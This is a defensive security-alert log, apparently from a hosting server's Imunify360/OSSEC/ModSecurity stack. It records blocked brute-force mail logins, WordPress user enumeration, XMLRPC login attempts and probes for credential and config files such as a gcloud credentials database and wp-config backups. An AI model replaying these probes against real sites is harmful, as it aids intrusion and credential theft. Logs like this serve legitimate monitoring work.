205.169.39.45 - - [11/Jun/2026:23:16:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12872803&pdata=http%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781219772 HTTP/1.1" 302 0 flp-tg.com "http://flp-tg.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.45


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [11/Jun/2026:23:16:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7511451&pdata=http%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781219774 HTTP/1.1" 302 0 flp-tg.com "http://flp-tg.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [11/Jun/2026:23:16:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7511451%26pdata=http://flp-tg.com%26id=7fa3b767c460b54a2be4d49030b349c7%26ts=1781219774 HTTP/1.1" 404 561 flp-tg.com "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:16:20 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.61.226.197
country_id: 3686110
description:
181.61.226.197 - - [11/Jun/2026:23:18:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790615&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10069&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781219928 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=10069" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.8757.1087 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.61.226.197


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.203.53
country_id: 3658394
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/visite-des-ministres-de-lenvironnement-et-du-commerce-a-la-societe-nouvelle-de-boissons HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:22:31 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.242.73.110
country_id: 6252001
domain: sia-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/sia-togo.tg/wp-login.php HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77277976
name: IM360 WAF: XMLRPC getUsersBlogs RBL infectors
abuser: 65.111.24.179
country_id: 2921044
domain: dany2.mairie.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL infectors||Username:Ae97dE97.dany2.mairie.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 111.121.73.24
country_id: 1814991
description:
2026-06-11 23:23:40 H=([111.121.73.24]) [111.121.73.24]:41050 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:25:40 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.161
country_id: 1880251
description:
47.128.96.161 - - [11/Jun/2026:23:26:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9728405&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ful%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781220369 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ul/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.161


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 172.216.252.23
country_id: 6252001
domain: flp-tg.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:31:51 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 172.216.252.23
country_id: 6252001
domain: flp-tg.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/2021/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:33:46 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 13.79.167.140
country_id: 2963597
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=100&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:44:01 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:45:18 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:45:27 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.173
country_id: 6252001
description:
2026-06-11 23:48:08 dovecot_plain authenticator failed for H=(cuk56j3m9ci2c5zfxn29ur5jj) [23.129.64.173]:6599: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.173
country_id: 6252001
description:
Jun 11 23:48:06 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.173 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [11/Jun/2026:23:48:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985879&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fja-delmas%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781221732 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ja-delmas/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 169.224.58.23
country_id: 99237
description:
169.224.58.23 - - [11/Jun/2026:23:51:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921327&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbourses-allemagne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781221880 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bourses-allemagne/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.5720.1473 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:169.224.58.23


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.144
country_id: 1880251
description:
47.128.96.144 - - [11/Jun/2026:23:52:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236758&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbourses-allemagne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781221974 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bourses-allemagne/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.144


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.38
country_id: 2921044
description:
2026-06-11 23:54:49 dovecot_plain authenticator failed for H=tor-exit-38.for-privacy.net (dt4yca29adn3cohdck4no) [185.220.101.38]:41149: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:55:54 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 23:58:52 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 12 00:00:43 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 12 00:00:58 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.79.200.212
country_id: 1880251
domain: www.togosem.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/portfolio_cat/petit-materiel/www.togosem.com||User:aogodmm||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.100.16.74
country_id: 2017370
description:
Jun 12 00:02:06 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.100.16.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 00:01:43 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 12 00:01:48 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.155.116.155
country_id: 6252001
description:
Jun 12 00:01:59 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.155.116.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun 12 00:02:22 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 12 00:03:05 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 12 00:02:21 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.100.16.74
country_id: 2017370
description:
Jun 12 00:02:24 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.100.16.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 12 00:02:46 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 12 00:02:54 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 12 00:03:21 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 12 00:03:23 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 12 00:03:21 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 12 00:04:10 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 6252001
description:
Jun 12 00:04:17 ns5 pure-ftpd[1075841]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [12/Jun/2026:00:05:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182488&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feleves-de-classe-de-passage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781222735 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eleves-de-classe-de-passage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.3.176
country_id: 690791
description:
Jun 12 00:05:41 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.3.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.153.146
country_id: 99237
description:
Jun 12 00:06:02 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.153.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-06-12 00:06:04 dovecot_login authenticator failed for H=([202.111.183.254]) [65.20.153.146]:41187: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:06:16 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:06:24 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.15.149.254
country_id: 3469034
description:
2026-06-12 00:06:35 dovecot_login authenticator failed for H=(customer-187-218-57-50.uninet-ide.com.mx) [201.15.149.254]:54950: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.15.149.254
country_id: 3469034
description:
Jun 12 00:06:33 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.15.149.254 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.12
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.106.77.0
country_id: 1562822
description:
2026-06-12 00:10:10 dovecot_plain authenticator failed for H=(nz6rl10tson5svnmkeuitzaonu10gq8) [116.106.77.0]:50579: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.13
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.119
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.129
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.124
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 12 00:10:51 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.49.218.108
country_id: 2017370
description:
Jun 12 00:11:37 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.49.218.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.49.218.108
country_id: 2017370
description:
2026-06-12 00:11:39 dovecot_plain authenticator failed for H=(xhvzz8l6vl0864ktmcq) [130.49.218.108]:60708: 535 Incorrect authentication data (set_id=moise.attissovi@mesyscom.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.44.65
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecobank-sierra-leone-signe-deux-financements-miniers-strategiques/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.44.65
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-sierra-leone-signe-deux-financements-miniers-strategiques/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [12/Jun/2026:00:13:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935300&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdosiapp%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781223230 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dosiapp/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.247.148
country_id: 933860
description:
Jun 12 00:14:28 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.247.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.252.64.174
country_id: 3469034
description:
Jun 12 00:14:48 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.252.64.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:15:55 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:17:31 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.173.105.206
country_id: 1814991
description:
Jun 12 00:18:12 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.173.105.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-06-12 00:18:14 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc2-237.dhcp.inet.fi) [60.173.105.206]:54433: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.84.147.45
country_id: 1861060
description:
Jun 12 00:18:44 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.84.147.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.84.147.45
country_id: 1861060
description:
2026-06-12 00:18:46 dovecot_login authenticator failed for H=121-84-147-45f1.osk1.eonet.ne.jp (89-233-203-159.cust.bredband2.com) [121.84.147.45]:34724: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.166.253.226
country_id: 1269750
description:
Jun 12 00:18:41 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.166.253.226 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.165.175.4
country_id: 294640
domain: www.smarty.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:root||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 34.165.175.4
country_id: 294640
domain: www.smarty.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:wp-config.php~||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 34.165.175.4
country_id: 294640
domain: www.smarty.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php~||RSV:8.15||T:APACHE||REQUEST_URI:/wp-config.php~||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:25:33 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:27:10 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.56.73.224
country_id: 6252001
description:
Jun 12 00:28:29 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.56.73.224 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.73.224
country_id: 6252001
description:
2026-06-12 00:28:31 dovecot_plain authenticator failed for H=(d59gy37igsshduzjqmqyc) [72.56.73.224]:45811: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.191.223.102
country_id: 3686110
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/12.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.79.11.195
country_id: 1880251
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/client/assets/css/bootstrap.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.126.223.175
country_id: 2017370
description:
Jun 12 00:32:07 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.126.223.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 187.110.238.141
country_id: 3469034
description:
2026-06-12 00:32:07 H=([187.110.238.141]) [187.110.238.141]:38770 F=<name5OHBrcgsB8Pc@white-ways.com> rejected RCPT <name5OHBrcgsB8Pc@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.126.223.175
country_id: 2017370
description:
2026-06-12 00:32:09 dovecot_login authenticator failed for H=(48.92.zcomnetworks.com.pk) [92.126.223.175]:58922: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 6013
